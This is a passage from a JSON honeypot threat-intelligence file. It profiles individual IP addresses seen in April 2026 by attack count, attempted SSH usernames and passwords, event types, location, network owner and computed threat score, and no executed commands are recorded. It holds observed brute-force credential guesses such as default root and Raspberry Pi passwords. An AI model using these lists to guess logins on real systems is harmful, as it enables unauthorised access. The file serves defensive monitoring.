      "attack_count": 12,
      "first_seen": "2026-04-03T04:02:47.440Z",
      "last_seen": "2026-04-12T01:02:07.380Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T04:02:47.440000+00:00",
        "last_seen_30d": "2026-04-12T01:03:16.464000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "36.64.174.98": {
      "attack_count": 12,
      "first_seen": "2026-04-06T04:11:57.507Z",
      "last_seen": "2026-04-19T02:23:56.220Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "12345",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T04:11:57.507000+00:00",
        "last_seen_30d": "2026-04-19T02:24:56.930000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "88.76.191.123": {
      "attack_count": 11,
      "first_seen": "2026-04-16T12:51:33.347Z",
      "last_seen": "2026-04-16T12:54:37.173Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Markt Schwaben",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T12:51:33.347000+00:00",
        "last_seen_30d": "2026-04-16T12:55:44.146000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "116.105.173.160": {
      "attack_count": 10,
      "first_seen": "2026-04-23T02:30:38.848Z",
      "last_seen": "2026-04-23T02:30:41.460Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T02:30:38.848000+00:00",
        "last_seen_30d": "2026-04-23T02:31:49.073000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "160.19.169.119": {
      "attack_count": 10,
      "first_seen": "2026-04-29T07:30:47.160Z",
      "last_seen": "2026-04-29T07:40:56.364Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bar\u00e3o de Cocais",
      "asn": 266149,
      "as_org": "BDC TELECOM",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:30:47.160000+00:00",
        "last_seen_30d": "2026-04-29T07:42:37.456000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "58.240.17.66": {
      "attack_count": 10,
      "first_seen": "2026-04-27T19:08:09.184Z",
      "last_seen": "2026-04-27T19:25:28.402Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456ry",
        "sugon@23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T19:08:09.184000+00:00",
        "last_seen_30d": "2026-04-27T19:27:17.097000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "65.49.1.212": {
      "attack_count": 9,
      "first_seen": "2026-04-07T14:33:45.927Z",
      "last_seen": "2026-04-28T01:37:03.368Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T08:59:27+00:00",
        "last_seen_30d": "2026-04-30T11:27:43.319000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 188,
        "Honeytrap": 68,
        "H0neytr4p": 16,
        "Cowrie": 9,
        "Adbhoney": 4,
        "Dionaea": 4,
        "Tanner": 3,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "115.231.78.11": {
      "attack_count": 8,
      "first_seen": "2026-04-03T06:47:10.373Z",
      "last_seen": "2026-04-18T10:08:15.896Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2526,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T00:10:15.900000+00:00",
        "last_seen_30d": "2026-04-30T22:18:20.247000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1914,
        "Honeytrap": 273,
        "Tanner": 208,
        "Honeyaml": 34,
        "Miniprint": 31,
        "Dionaea": 24,
        "ConPot": 18,
        "Cowrie": 8,
        "Ipphoney": 8,
        "Mailoney": 8
      }
    },
    "177.125.36.9": {
      "attack_count": 8,
      "first_seen": "2026-04-28T03:38:44.379Z",
      "last_seen": "2026-04-28T03:46:47.538Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapetininga",
      "asn": 28146,
      "as_org": "MHNET TELECOM",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T03:38:44.379000+00:00",
        "last_seen_30d": "2026-04-28T03:47:54.515000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "164.90.225.199": {
      "attack_count": 7,
      "first_seen": "2026-04-17T09:14:04.559Z",
      "last_seen": "2026-04-17T09:14:05.140Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 9.2,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 11,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-07T09:23:16.657000+00:00",
        "last_seen_30d": "2026-04-17T09:15:12.221000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 15,
        "Cowrie": 7,
        "Tanner": 3
      }
    },
    "154.16.112.232": {
      "attack_count": 6,
      "first_seen": "2026-04-18T21:49:15.217Z",
      "last_seen": "2026-04-18T21:49:27.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:49:15.217000+00:00",
        "last_seen_30d": "2026-04-18T21:50:31.101000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "176.122.105.137": {
      "attack_count": 6,
      "first_seen": "2026-04-28T19:41:22.149Z",
      "last_seen": "2026-04-28T19:47:27.311Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Haisyn",
      "asn": 50581,
      "as_org": "Ukrainian Telecommunication Group LLC",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T15:06:00.881000+00:00",
        "last_seen_30d": "2026-04-28T19:48:41.250000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.186.190": {
      "attack_count": 6,
      "first_seen": "2026-04-19T15:38:08.676Z",
      "last_seen": "2026-04-19T15:39:01.731Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 30,
        "ports_targeted_30d": 46,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T06:09:55+00:00",
        "last_seen_30d": "2026-04-30T20:01:28.514000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 56,
        "Cowrie": 6,
        "Miniprint": 6,
        "ElasticPot": 4,
        "ConPot": 3,
        "Dionaea": 3,
        "Sentrypeer": 1
      }
    },
    "104.248.186.221": {
      "attack_count": 5,
      "first_seen": "2026-04-10T16:39:50.594Z",
      "last_seen": "2026-04-10T16:40:03.831Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#2025kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:39:50.594000+00:00",
        "last_seen_30d": "2026-04-10T16:41:07.093000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "20.163.15.124": {
      "attack_count": 5,
      "first_seen": "2026-04-05T09:09:31.015Z",
      "last_seen": "2026-04-05T09:09:41.303Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 11.7,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 14,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T09:19:22.990000+00:00",
        "last_seen_30d": "2026-04-16T01:35:03.772000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Cowrie": 5,
        "Honeytrap": 3,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "131.222.251.51": {
      "attack_count": 4,
      "first_seen": "2026-04-24T23:09:28.596Z",
      "last_seen": "2026-04-24T23:11:41.780Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antakya",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T23:09:28.596000+00:00",
        "last_seen_30d": "2026-04-24T23:13:16.423000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "14.103.105.246": {
      "attack_count": 4,
      "first_seen": "2026-04-07T18:17:38.765Z",
      "last_seen": "2026-04-07T18:17:39.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:17:38.765000+00:00",
        "last_seen_30d": "2026-04-07T18:18:41.172000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "143.198.216.98": {
      "attack_count": 4,
      "first_seen": "2026-04-14T07:33:33.498Z",
      "last_seen": "2026-04-14T07:33:41.498Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T07:33:33.498000+00:00",
        "last_seen_30d": "2026-04-14T07:34:45.849000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "207.154.198.244": {
      "attack_count": 4,
      "first_seen": "2026-04-24T09:17:49.596Z",
      "last_seen": "2026-04-24T09:18:09.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 4.2,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 5,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T09:17:49.596000+00:00",
        "last_seen_30d": "2026-04-28T11:39:42.698000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "40.124.175.155": {
      "attack_count": 4,
      "first_seen": "2026-04-12T23:17:15.595Z",
      "last_seen": "2026-04-12T23:17:26.085Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 69.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T18:54:14.317000+00:00",
        "last_seen_30d": "2026-04-29T22:00:12.694000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 4,
        "Honeytrap": 4,
        "H0neytr4p": 1
      }
    },
    "65.49.1.120": {
      "attack_count": 4,
      "first_seen": "2026-04-12T14:33:52.023Z",
      "last_seen": "2026-04-12T14:33:56.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 70.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 29,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:17:05.787000+00:00",
        "last_seen_30d": "2026-04-29T02:09:36.444000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "101.96.201.53": {
      "attack_count": 3,
      "first_seen": "2026-04-23T04:46:31.795Z",
      "last_seen": "2026-04-23T04:48:31.801Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T04:46:31.795000+00:00",
        "last_seen_30d": "2026-04-23T04:58:34.751000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "142.93.7.213": {
      "attack_count": 3,
      "first_seen": "2026-04-06T20:03:52.451Z",
      "last_seen": "2026-04-06T20:03:52.906Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-06T20:03:52+00:00",
        "last_seen_30d": "2026-04-06T20:05:09.219000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 18,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "64.225.101.76": {
      "attack_count": 3,
      "first_seen": "2026-04-16T05:53:15.587Z",
      "last_seen": "2026-04-16T05:53:15.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 12.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 15,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T14:34:22.722000+00:00",
        "last_seen_30d": "2026-04-16T05:54:24.840000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "1.162.107.221": {
      "attack_count": 2,
      "first_seen": "2026-04-23T14:45:16.203Z",
      "last_seen": "2026-04-23T14:45:29.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Banqiao",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T14:45:16.203000+00:00",
        "last_seen_30d": "2026-04-23T14:46:34.796000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.203": {
      "attack_count": 2,
      "first_seen": "2026-04-20T16:22:25.819Z",
      "last_seen": "2026-04-20T16:22:26.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T07:46:44.058000+00:00",
        "last_seen_30d": "2026-04-20T16:23:31.872000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 2
      }
    },
    "116.140.173.243": {
      "attack_count": 2,
      "first_seen": "2026-04-12T10:23:21.911Z",
      "last_seen": "2026-04-12T10:23:35.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
